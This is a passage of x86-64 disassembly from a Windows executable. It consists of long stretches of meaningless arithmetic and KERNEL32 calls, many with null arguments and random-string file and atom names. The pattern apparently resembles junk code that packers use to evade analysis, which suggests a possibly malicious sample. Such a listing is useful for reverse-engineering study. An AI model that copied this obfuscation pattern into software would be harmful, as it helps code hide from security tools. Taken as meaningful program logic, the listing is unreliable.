mov word [rsp + 0x2324], ax
mov rax, qword [rsp + 0x9518]
mov rcx, qword [0x1401c8cc8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe8e0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x39b]
mov byte [rsp + 0x437], al
mov rax, qword [rsp + 0xe118]
movzx eax, byte [rax]
movzx ecx, byte [str.5qKr]
imul eax, ecx
mov rcx, qword [rsp + 0xdb00]
mov byte [rcx], al
mov rax, qword [rsp + 0xe778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6198]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a78], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xc520]
mov rcx, qword [rsp + 0xd440]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6448], eax
movsx eax, word [rsp + 0x212c]
movsx ecx, word [rsp + 0x20dc]
add eax, ecx
mov word [0x1401c8f1c], ax
movsx eax, word [rsp + 0x2138]
mov rcx, qword [rsp + 0xdab0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2258], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xf018], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movzx eax, word [rsp + 0x226c]
mov word [rsp + 0x2868], ax
mov rax, qword [0x1401c8c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25ec]
add eax, ecx
mov word [rsp + 0xbfc], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xeee0], rax
lea rcx, [0x1401aea08]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2480], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6bcc], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rcx, [rsp + 0x1d3e0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, byte [rsp + 0x388]
movsx ecx, byte [rsp + 0x192]
shl eax, cl
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xcec0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3e0], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xf020], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6394], eax
mov rax, qword [rsp + 0xe6d0]
mov rcx, qword [rsp + 0xc6d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6098], eax
lea rax, [rsp + 0x25d4]
mov qword [rsp + 0xf028], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [0x1401c8f50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2134]
and eax, ecx
mov word [rsp + 0x1ce4], ax
lea rcx, [rsp + 0x1d6d8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xcb18]
mov qword [0x1401c8fc0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64c4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xf030], rax
lea rax, [rsp + 0xef50]
mov qword [rsp + 0xf038], rax
mov rax, qword [rsp + 0xe040]
cqo
mov rcx, qword [rsp + 0xc990]
idiv qword [rcx]
mov qword [rsp + 0xd3a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xe3d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe5d8]
sar rax, cl
mov qword [rsp + 0xd2e8], rax
lea rax, [rsp + 0x21cc]
mov qword [rsp + 0xf040], rax
mov rax, qword [rsp + 0xe3c0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401c8a16]
imul eax, ecx
mov byte [rsp + 0x3f8], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx ecx, word [rsp + 0x2300]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2300], ax
lea rax, [rsp + 0x6b6c]
mov qword [rsp + 0xf048], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6bd0], eax
mov r9d, 0x10fb
xor r8d, r8d
lea rdx, [rsp + 0xc4c0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x66cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xddb8]
mov rcx, qword [rsp + 0xdd28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9518], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6a34], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.LBBzguUOjvyLAI9zT8PH2lMcOr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xf050], rax
mov rax, qword [rsp + 0xcd18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3b5], al
mov eax, dword [rsp + 0x6608]
mov ecx, dword [rsp + 0x5810]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x1401c8a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe400]
movzx eax, word [rax]
mov word [rsp + 0x286c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64c4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x694c], eax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xeb20]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1de0], ax
movzx eax, word [rsp + 0x1cd4]
mov word [rsp + 0x2870], ax
movzx ecx, word [rsp + 0x211c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24d8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6bd4], eax
mov rax, qword [rsp + 0xd230]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaf20]
sar rax, cl
mov qword [rsp + 0xa728], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
imul rax, qword [rsp + 0xa760]
mov qword [rsp + 0xac40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xe730]
mov rcx, qword [rsp + 0xd138]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x5e38], eax
movsx eax, byte [rsp + 0x436]
mov rcx, qword [0x1401c8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xda98]
mov byte [rcx], al
lea rax, [rsp + 0x214c]
mov qword [rsp + 0xf058], rax
movzx eax, word [rsp + 0x920]
movzx ecx, word [rsp + 0x202c]
add eax, ecx
mov word [0x1401c7098], ax
mov rax, qword [0x1401c8c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9eb0], rax
lea rax, [rsp + 0x938]
mov qword [rsp + 0xf060], rax
movzx eax, byte [rsp + 0x187]
mov rcx, qword [rsp + 0xe8a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41b], al
mov rax, qword [rsp + 0xd3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd978]
movzx eax, byte [rax]
mov byte [rsp + 0x438], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.OoSnzGD5Y15RAQrqipcWJc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xf068], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xd6e8]
mov ecx, dword [rsp + 0x64ac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x67cc], eax
mov rax, qword [rsp + 0xe008]
mov rcx, qword [rsp + 0xd930]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xac10], rax
mov r9d, 2
lea r8, [rsp + 0xccd0]
mov rdx, qword [rsp + 0xc740]
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x66f4], eax
movsx eax, word [rsp + 0x1f9c]
mov rcx, qword [rsp + 0xe6c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1cfc], ax
lea rax, [rsp + 0xda4]
mov qword [0x1401c8fc8], rax
mov rax, qword [rsp + 0xe508]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe6d8]
mov qword [rsp + 0xf070], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf070]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaeb0], rax
lea rcx, str.U6Mbyc_qr9h2rg_IkCD5
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2874], ax
lea rax, [rsp + 0xdd68]
mov qword [rsp + 0xf078], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce88]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1130], ax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
mov word [rsp + 0x2878], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd360], rax
movzx ecx, word [rsp + 0x20ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2670], ax
mov rax, qword [rsp + 0xef38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xefa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2c0], rax
movzx ecx, word [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x287c], ax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov edx, 0x17b7
mov rcx, qword [rsp + 0xe868]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6a78], eax
mov rax, qword [rsp + 0xc520]
mov rcx, qword [rsp + 0xdaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x56e8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6474], eax
movsx eax, byte [rsp + 0x3a8]
imul eax, eax, 0xf
mov byte [rsp + 0x37a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc450]
shl rax, cl
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x13e4]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401c703c], ax
movzx eax, word [rsp + 0x874]
mov word [rsp + 0x2880], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64b4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6948], eax
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b88]
sar eax, cl
mov dword [rsp + 0x6398], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov byte [rsp + 0x439], al
mov rax, qword [rsp + 0xe508]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd278]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xe660]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xe960], rax
mov rax, qword [rsp + 0xd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b68], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x3be]
movsx ecx, byte [rsp + 0x403]
xor eax, ecx
mov byte [rsp + 0x206], al
movzx eax, word [rsp + 0x19d4]
mov word [rsp + 0x2884], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [0x1401c8e70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2400]
and eax, ecx
mov word [0x1401c72c8], ax
mov edx, 0x180a
mov rcx, qword [rsp + 0xdf28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6b7c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xdf80]
mov rcx, qword [rsp + 0xa968]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xee28], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd730], rax
mov rax, qword [0x1401c8f50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf060]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf30], ax
xor r9d, r9d
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xf080]
mov rcx, qword [rsp + 0xe7e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x674c], eax
movzx ecx, word [rsp + 0x20ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20f8], ax
movsx eax, word [rsp + 0xd28]
movsx ecx, word [rsp + 0x212c]
sar eax, cl
mov word [rsp + 0x1644], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xf078]
movabs rcx, 0x75d7a339333c90
mov rax, qword [rax]
imul rax, rcx
mov qword [rsp + 0xeb50], rax
mov rax, qword [rsp + 0xc3a8]
mov qword [rsp + 0xf088], rax
mov rax, qword [rsp + 0xec60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x228]
sub eax, ecx
mov byte [rsp + 0x3fe], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [0x1401c71d4]
mov ecx, dword [rsp + 0x59b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xde38]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx eax, word [rsp + 0x1aa8]
mov word [rsp + 0x2888], ax
movzx ecx, word [rsp + 0x2004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2874], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xf090], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xab60]
mov qword [0x1401c8fd0], rax
movzx eax, byte [rsp + 0x3e1]
movzx ecx, byte [rsp + 0x2cc]
sub eax, ecx
mov byte [rsp + 0x3ae], al
mov rax, qword [rsp + 0xd750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd430]
mov qword [rsp + 0xf098], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf098]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5904], eax
mov r9d, 0x23e7
xor r8d, r8d
lea rdx, [rsp + 0xc370]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6b68], eax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2540]
or eax, ecx
mov word [rsp + 0x1ee8], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
mov word [rsp + 0x288c], ax
mov eax, dword [rsp + 0x698c]
movzx ecx, al
mov eax, dword [rsp + 0x65d4]
shl eax, cl
mov dword [rsp + 0x6964], eax
mov rax, qword [rsp + 0xe8e0]
mov rcx, qword [rsp + 0x9730]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaed8], rax
movsx eax, byte [rsp + 0x390]
movsx ecx, byte [rsp + 0x3ea]
sub eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0xe7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xeb20]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2068], ax
movzx eax, word [rsp + 0x15fc]
movzx ecx, word [rsp + 0x9c0]
xor eax, ecx
mov word [0x1401c8ac8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xf0a0], rax
mov rax, qword [rsp + 0x9f58]
mov qword [rsp + 0xf0a8], rax
mov rax, qword [rsp + 0xe790]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd110]
sar rax, cl
mov qword [rsp + 0xe7c8], rax
lea rdx, [rsp + 0x26258]
mov rcx, qword [rsp + 0xd7f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6ae4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6bd8], eax
mov rax, qword [rsp + 0xc8b8]
mov rcx, qword [rsp + 0xc898]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xea00], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rcx, [rsp + 0x202d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov word [rsp + 0x2890], ax
mov rax, qword [rsp + 0xed80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6820]
shl eax, cl
mov dword [rsp + 0x6aa4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xe358]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6d8], rax
mov rax, qword [rsp + 0xd590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd4e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3ed], al
lea rdx, [rsp + 0x265a0]
mov rcx, qword [rsp + 0xc880]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6bdc], eax
lea rcx, str.JDu7lGdZ_h93
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20d0], ax
mov rax, qword [rsp + 0xea70]
mov ecx, dword [0x1401c8a1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6990], eax
lea rax, [rsp + 0x410]
mov qword [rsp + 0xf0b0], rax
mov rax, qword [rsp + 0xdf60]
movzx eax, word [rax]
mov word [0x1401c8fd8], ax
mov rcx, qword [rsp + 0xe868]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xed50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10fc]
sub eax, ecx
mov word [rsp + 0x8e8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [0x1401c71a0]
mov word [rsp + 0x2894], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b28]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd448], rax
mov rax, qword [rsp + 0xefd8]
movzx ecx, al
mov rax, qword [rsp + 0xad00]
shl rax, cl
mov qword [rsp + 0xa278], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rcx, qword [rsp + 0xd838]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x68c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [0x1401c8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x41d], al
mov rax, qword [rsp + 0xeb78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xeaa8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xd0f0]
movzx eax, word [rax]
mov word [rsp + 0x2898], ax
mov rax, qword [0x1401c8f50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa90]
add eax, ecx
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xdde0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1401c8f60], rax
lea rcx, [rsp + 0x1d520]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r9d, 1
lea r8, [rsp + 0xdbc0]
mov rdx, qword [rsp + 0xf0b8]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67f0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x67f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rcx, qword [rsp + 0xe270]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd4b8]
movzx eax, word [rax]
mov word [rsp + 0x289c], ax
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc5a0]
cqo
idiv qword [rsp + 0xc960]
mov qword [rsp + 0xdd48], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xf0c0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6748], eax
movzx ecx, word [rsp + 0x25e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x242c], ax
mov rax, qword [rsp + 0x98f0]
mov rcx, qword [rsp + 0xd3d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x97d0], rax
mov rax, qword [0x1401c8ac0]
mov rcx, qword [rsp + 0xa548]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xc610]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x433]
shl eax, cl
mov byte [rsp + 0x42d], al
lea rax, [rsp + 0x5c94]
mov qword [rsp + 0xf0c8], rax
movzx eax, byte [str.5qKr]
mov rcx, qword [rsp + 0xe8a0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3b7], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xf0d0], rax
mov rax, qword [rsp + 0xc430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6818]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ad8], eax
mov r9d, 2
lea r8, [rsp + 0xcb80]
mov rdx, qword [rsp + 0xcc78]
mov rcx, qword [rsp + 0xd588]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67b8], eax
movsx eax, word [rsp + 0x1190]
movsx ecx, word [rsp + 0x2164]
sub eax, ecx
mov rcx, qword [0x1401c8ce0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc7f8]
movzx eax, word [rax]
mov word [rsp + 0x28a0], ax
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x226c]
movzx ecx, word [rsp + 0x22a0]
add eax, ecx
mov word [rsp + 0x10fc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xf0d8], rax
lea rcx, [rsp + 0x20758]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
lea rax, [0x1401c8b68]
mov qword [rsp + 0xf0e0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe288], rax
mov rax, qword [rsp + 0xe038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3ed], al
mov rax, qword [rsp + 0xe918]
mov rcx, qword [rsp + 0xc5d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ab0], eax
mov rax, qword [rsp + 0xb5e0]
movzx ecx, al
mov rax, qword [rsp + 0xa5b8]
shl rax, cl
mov qword [rsp + 0xa358], rax
lea rcx, [rsp + 0x20d88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x1a68]
mov rcx, qword [rsp + 0xd8e8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x277c], ax
movzx eax, word [rsp + 0x1a48]
mov word [rsp + 0x28a4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xdd38], rax
lea rax, [rsp + 0xcef0]
mov qword [0x1401c8fe0], rax
mov rcx, qword [rsp + 0xe218]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa530]
sar rax, cl
mov qword [rsp + 0xacf0], rax
movzx ecx, word [rsp + 0x24e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25c0], ax
lea rcx, [rsp + 0x20db8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd610]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe6c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9f0], rax
mov rax, qword [0x1401c8ed0]
mov rcx, qword [rsp + 0xe6f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdf40], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xf030], rax
movzx eax, word [rsp + 0x2264]
movzx ecx, word [rsp + 0x2774]
sub eax, ecx
mov rcx, qword [rsp + 0xeda8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov r9d, 1
lea r8, [rsp + 0xd5a8]
